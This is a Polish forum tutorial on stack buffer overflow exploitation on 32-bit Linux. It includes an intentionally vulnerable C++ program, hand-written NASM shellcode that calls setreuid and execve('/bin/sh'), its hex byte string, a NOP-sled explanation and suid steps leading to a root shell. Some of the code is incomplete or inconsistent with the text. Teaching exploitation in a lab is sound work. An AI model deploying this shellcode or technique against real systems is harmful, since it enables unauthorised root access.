Tylko zalogowani mogą dodawać posty w shoutboksie.
2008913 Unikalnych wizyt
Wszystko zostanie wykonane na systemie Ubuntu 6.06 live CD, bo na 7.10 jest
zabezpieczenie przy zmianie stosu. Linux to idealny system to rozpoczęcia nauki.
Przydatna będzie lekka znajomość ASMa.
1. Co to w ogóle exploit ??
2. Co to shellcode
3. Przykładowy program - ofiara
4. Piszemy shellcode ;)
5. Przykładowy exploit
1. Na początek warto wiedzieć co to jest tajemniczy sploit ;)
Exploit to program mający na celu wykorzystanie błędów w oprogramowaniu.
Najczęściej program taki wykorzystuje jedną z kilku popularnych technik, np. buffer
overflow, heap overflow, format string. Exploit wykorzystuje występujący w
oprogramowaniu błąd programistyczny i przejmuje kontrolę nad działaniem procesu
– wykonując odpowiednio spreparowany kod (ang. bytecode), który
najczęściej wykonuje wywołanie systemowe uruchamiające powłokę systemową (ang.
shellcode) z uprawnieniami programu, w którym wykryto lukę w zabezpieczeniach.
Ludzi używających exploitów bez podstawowej wiedzy o mechanizmach ich działania
nazywa się script kiddies. (Źródło - Wikipedia)
Od siebie dodam jak exploit przejmuje kontrolę. Przy kopiowaniu buforu (np. funkcją strcpy) nie jest przestrzegany limit długości buforu, tylko dane są kopiowane do napotkania bajtu zerowego (NULL'a). Oznacza on zakończenie jakiegoś łańcucha znaków. Kopiowanie takie odbywa się w specjalnym miejscu pamięci - na stosie. Przy przekraczaniu maksymalnej pojemności bufora, dane "zalewają" (stąd overflow) inne istotne dla systemu operacyjnego dane, m.in. adres powrotny z funkcji, która dokonała przepełnienia. Najciekawsze jest efekt samego nadpisania adresu. Gdy w buforze jest shellcode, a jego adres trafi w miejsce adresu powrotnego, sterowanie trafia w "ręce" shellcodu, który zazwyczaj uruchamia nową powłokę systemową z uprawnieniami root'a.
2. Shellcode
Shellcode - anglojęzyczny zlepek słów shell (powłoka) oraz code (kod) oznaczający
prosty, niskopoziomowy program odpowiedzialny za wywołanie powłoki systemowej w
ostatniej fazie wykorzystywania wielu błędów zabezpieczeń przez exploity. Dostarczany
jest on zwykle wraz z innym wejściem użytkownika; na skutek wykorzystania luki w atakowanej aplikacji, procesor rozpoczyna wykonywanie shellcode, pozwalając na
uzyskanie nieautoryzowanego dostępu do systemu komputerowego lub eskalacja
uprawnień.
Shellcode pisze się w asemblerze.
3. Pora napisać przykładowy program - ofiarę, żeby było wiadomo o co tu
właściwie biega. Program napiszę w C++ (w końcu to mój ulubiony HLL )
int main(int argc, char *argv[])
{
if (argc != 2)
buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
int strlen(const char * ptr)
{
for (int i = 0; ; i++)
if (ptr[i] == '\0')
return i;
}
void strcpy(char *target, const char * source)
{
int len = strlen(source);
for (int i = 0; i < len; i++)
{
target[i] = source[i];
}
}
Przykład wykonania takiego kodziku g++ vuln.cpp -o vuln
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln asdf
Nic ciekawego się nie dzieje. Ale co się stanie w przypadku przepełnienia stosu ??
Posłużę się perlem, w celu przepełnienia buforu. ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault
Jak widać 600 bajtów wystarczyło aż nadto żeby nadpisać stos.
Rejestr EIP (Extended Instruction Pointer) to nasz adres powrotny, który nadpisujemy.
Rejestr EBP (Extended Base Pointer) to zachowany wcześniej ESP (Extended Stack
Pointer), który tam siedzi w celu odtworzenia stanu stosu sprzed uruchomienia
funkcji/procedury.
4. Ofiarę mamy, ale trzeba coś jej podrzucić, żebyśmy mogli przejąć kontrolę nad
systemem...
Shellcode napiszemy w asemblerze. Co nam będzie potrzebne??
- kompilator - NASM
- dwie funkcje - setreuid(uid_t ruid, uid_t euid) i execve(). Pierwsza posłuży do
przywrócenia uprawnień administratora (niektóre programy na rzecz bezpieczeństwa
takowe uprawnienia "wyłączają"), druga posłuży do uruchomienia powłoki roota
(/bin/sh).
Kilka zasad dotyczących shellcodu:
- Nie może posiadać bajtów zerowych, bo zostanie ucięty przy kopiowaniu
- Musi się zmieścić w buforze i musi się w nim znajdować, żeby mógł być wykonany
- Trzeba znać adres shella w pamięci - tym się zajmiemy później.
Czas na uniwersalny shellcode (w postaci asma ;p)
BITS 32
jmp short two
one:
xor eax,eax
pop ebx
mov [ebx+7],al
mov [ebx+8], ebx
mov [ebx+12], eax
lea ecx, [ebx+8]
lea edx, [ebx+12]
mov al, 11 ; execve
int 80h ; no to mamy powłoczkę :)
two:
call one
db '/bin/sh'
Kod może się wydawać trochę niezrozumiały, ale teraz po krótce go trochę rozjaśnię :) xor eax, eax; zerujemy eax
Jak wiadomo w asmie można zerować rejestry w sposób mov eax, 0, ale to zostawi w
shellcode NULL'e więc ta metoda odpada. Metoda XOR rej1, rej2 opiera się na różnicy
symetrycznej, gdy wszystko się zgadza wynik wynosi 0 i ląduje w rej1.
mov al, 70; setreuid
xor ebx, ebx; ruid
xor ecx, ecx; euid
int 80h; Wywołujemy funkcję setreuid
Tutaj wsadzamy w eax (część al - 1bajtowa) numerek funkcji systemowej nr 70. Jest to
funkcja setreuid. Pierwszy jej parametr to prawdziwy identyfikator użytkownika, a
drugi to efektywny. Oba ustawione na zero, bo chcemy prawa roota ;) Teraz
wytłumaczę dlaczego mov al,70, a nie mov eax,70. Tutaj znowu chodzi o NULL'e. Rejestr
EAX ma 4 bajty, a liczba 70 zmieści się w jednym. Trzeba jakoś wypełnić puste miejsca,
więc w nich lądują zera. W tym wypadku trzeba użyć mniejszego rejestru (EAX dzieli się
na AX + 32bity, AX dzieli się na AL i AH - oba 1bajtowe). W rejestrze AL zmieści się 70
więc wszystko jest OK.
jmp short two
one:
;...
two:
call one
db '/bin/sh'
A po co ten dziwny fragment ?? To dlatego, że shellcode musi być zamodzielnym
kodem binarnym, a nie programy. W programie znalazłoby się miejsce dla ciągu /bin/sh
w sekcji .data, ale my takiej sekcji nie posiadamy. Taki ciąg znaków nie może być
instrukcją dla procesora więc jest pomijany, zaraz wyjaśnię jak.
1. Wykonywany jest rozkaz skoku do etykiety two, skok nie zostawia adresu
powrotnego na stosie więc sam roboty nie odwali.
2. Instrukcja wywołania (call) odwołuje się do etykiety one, przy czym zostawia na
stosie adres powrotny, a tym adresem jest właśnie adres naszego ciągu znaków ;)
3. Później zostaje pobrać adres ciągu ze stosu i dodać mu bajt zerowy.
one:
xor eax,eax
pop ebx
mov [ebx+7],al
mov [ebx+8], ebx
mov [ebx+12], eax
lea ecx, [ebx+8]
lea edx, [ebx+12]
mov al, 11 ; execve
int 80h ; no to mamy powłoczkę :)
Na początku zerujemy eax, aby posiadać bajt zerowy dla ciągu znaków. Zdejmujemy
adres ciągu, który ląduje w rejestrze EBX. [ebx+7] oznacza adres początku rejestru EBX
+ 7 bajtów, co wskazuje na koniec ciągu /bin/sh, gdzie ląduje bajt zerowy z rejestru
AL. Dalej do rejestru EBX, lądują adresy rejestrów EBX (samego siebie xD) i EAX, a to
dlatego, że funkcja execve przyjmuje jako pierwszy parametr adres ciągu (nazwy
progsa, który ma odpalić), w drugim i trzecim parametrze lądują wskaźniki do
wskaźników, czyli char *argv[] i char *envp[]. Wskaźniki te ładują instrukcje lea.
Na końcu zostaje wsadzenie do rejestru AL, numeru funkcji systemowej i odpalenie
powłoczki.
Po tym napisaniu shella asemblujemy go nasm shellcode.asm -o shellcode
Otwieramy plik shellcode programem hexedit (lub innym edytorem szesnastkowym) i
kod szesnastkowy sprowadzamy do postaci:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c
\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Czyli przed każdym bajtem dodajemy \x, usuwamy wszystkie spacje (jeśli tak
skopiowaliśmy) i zmieniamy duże litery na małe.
No to shellcode mamy gotowy 5. Przykładowy sploit :)
Jak już wcześniej pisałem, musimy znać adres bufora w pamięci. Będzie się on kołatał
gdzieś koło adresu wskazywanego przez ESP. Pewna funkcja zwróci nam zawartość
tego rejestru. Odejmując od tego adresu jakiś offset można ustalić adres każdej
zmiennej znajdującej się na stosie. Ale czy napewno trafimy w odpowiedni adres ??
Moglibyśmy próbować do upadłego aż trafimy, istnieje jednak technika która nam to
znacznie ułatwi, zowie się Pułapką NOP. Pułapka NOP to kilka instrukcji NOP(0x90),
które nie robią nic, po prostu adres wykonania będzie przechodził przez kolejne bajty
tej pułapki do napotkania shellcodu. Im więcej NOPu tym większa szansa na trafienie ;)
Teraz coś o adresie powrotnym. Gdyby wstawić jeden adres na końcu buforu (czy -
gdzieś pod koniec) nie wiemy czy poprawnie nadpisze EIP. W celu pewnego nadpisania
wypełnimy koniec buforu tym adresem.
Co widzimy ?? Po trzeciej próbie (przy offsecie 700), shellcode zostaje wykonany.
Jednak nadużycie jest właściwie do niczego. Dlaczego ? Program - ofiara nie ma
ustawionego bitu suid, czyli nie należy do roota i nie ma jego praw.
Ustawmy je
sudo chown root vuln
sudo chmod +s vuln
Udało się :D Mamy prawa admina i możemy robić co się nam podoba. Można dodać
własnego usera do /bin/passwd z prawami admina itp...
To już koniec, mam nadzieję, że niektórym userom się rozjaśni co to exploit, jak działa i
jak jest zbudowany. Przepraszam za błędy
Pozdrawiam
Sinis
/Tutorial by Sinis
Dodane przez Pallas
dnia styczeń 13 2008 22:58:55 2 Komentarzy ~
2512 Czytań
pieknymariandnia kwiecień 09 2008 05:32:38
W jaki sposob ci to dziala. Bo u mnie po nadpisaniu EIP nadpisane zostaja argumenty funkcji strcpy i program konczy dzialanie bo zaczyna odwolywac sie do jakiejs kosmicznej pamieci.
Zastapienie twojej funkcji originalna powoduje ze to dziala.
yoyohhdnia listopad 09 2009 19:41:02
the two colors that are aion power level next to the main